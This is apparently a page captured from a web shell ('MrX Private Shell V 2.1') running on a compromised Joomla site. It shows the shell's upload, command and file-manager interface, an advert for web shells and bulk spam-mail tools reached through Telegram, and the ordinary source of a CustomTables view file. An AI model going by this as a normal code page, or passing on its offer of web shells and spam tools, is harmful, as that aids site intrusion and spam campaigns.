__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * CustomTables Joomla! 3.x/4.x/5.x Component
 * @package Custom Tables
 * @author Ivan Komlev <[email protected]>
 * @link https://joomlaboat.com
 * @copyright (C) 2018-2024. Ivan Komlev
 * @license GNU/GPL Version 2 or later - https://www.gnu.org/licenses/gpl-2.0.html
 **/

// no direct access
defined('_JEXEC') or die();

use CustomTables\common;
use CustomTables\CTMiscHelper;
use CustomTables\CTUser;
use Joomla\CMS\Factory;
use Joomla\CMS\MVC\View\HtmlView;

jimport('joomla.application.component.view'); //Important to get menu parameters
class CustomTablesViewEditFiles extends HtmlView
{
	var int $max_file_size;
	var $FileBoxTitle;
	var $listing_id;
	var $fileboxname;
	var $allowedExtensions;

	function display($tpl = null)
	{
		$user = new CTUser();

		if ($user->id === null) {
			Factory::getApplication()->enqueueMessage(common::translate('COM_CUSTOMTABLES_NOT_AUTHORIZED'), 'error');
			return;
		}

		$this->Model = $this->getModel();
		$this->files = $this->Model->getFileList();

		$this->idList = array();

		foreach ($this->files as $file)
			$this->idList[] = $file->fileid;

		$this->max_file_size = CTMiscHelper::file_upload_max_size();
		$this->FileBoxTitle = $this->Model->FileBoxTitle;
		$this->listing_id = $this->Model->ct->Params->listing_id;
		$this->fileboxname = $this->Model->fileboxname;
		$this->allowedExtensions = $this->Model->allowedExtensions;
		parent::display($tpl);
	}

	function drawFiles(): string
	{
		$HTMLOut = '
		
		<h2>' . common::translate('COM_CUSTOMTABLES_FILE_LIST_OF_FILES') . '</h2>
		<table style="width:100%;border:none;">
			<thead>
				<tr>
					<th style="vertical-align: top; text-align: center; width:40px;">
					    <input type="checkbox" name="SelectAllBox" id="SelectAllBox" onClick=SelectAll(this.checked) style="text-align: left; vertical-align:top"> ' . common::translate('COM_CUSTOMTABLES_SELECT_ALL') . '</th>
					<th style="vertical-align: top; text-align: center; "></th>
				</tr>
			</thead>
			<tbody>
		';

		$c = 0;
		foreach ($this->files as $file) {
			$HTMLOut .= '
				<tr>';

			$filename = $this->Model->ct->Table->tableid . '_' . $this->fileboxname . '_' . $file->fileid . '.' . $file->file_ext;
			$filepath = $this->Model->fileboxfolderweb . '/' . $filename;

			$HTMLOut .= '
					<td  style="vertical-align: top; text-align: center; ">
						<input type="checkbox" name="esfile' . $file->fileid . '" id="esfile' . $file->fileid . '" style="text-align: left;" style="vertical-align:top">
					</td>
					<td style="text-align: left;"><a href="' . $filepath . '" target="_blank">' . $filename . '</a></td>
			';

			$c++;
			$HTMLOut .= '
				</tr>';
		}

		$HTMLOut .= '
			</tbody>
		</table>
		';

		return $HTMLOut;
	}
}

Filemanager

Name Type Size Permission Actions
tmpl Folder 0775
index.html File 43 B 0664
view.html.php File 2.76 KB 0664
Filemanager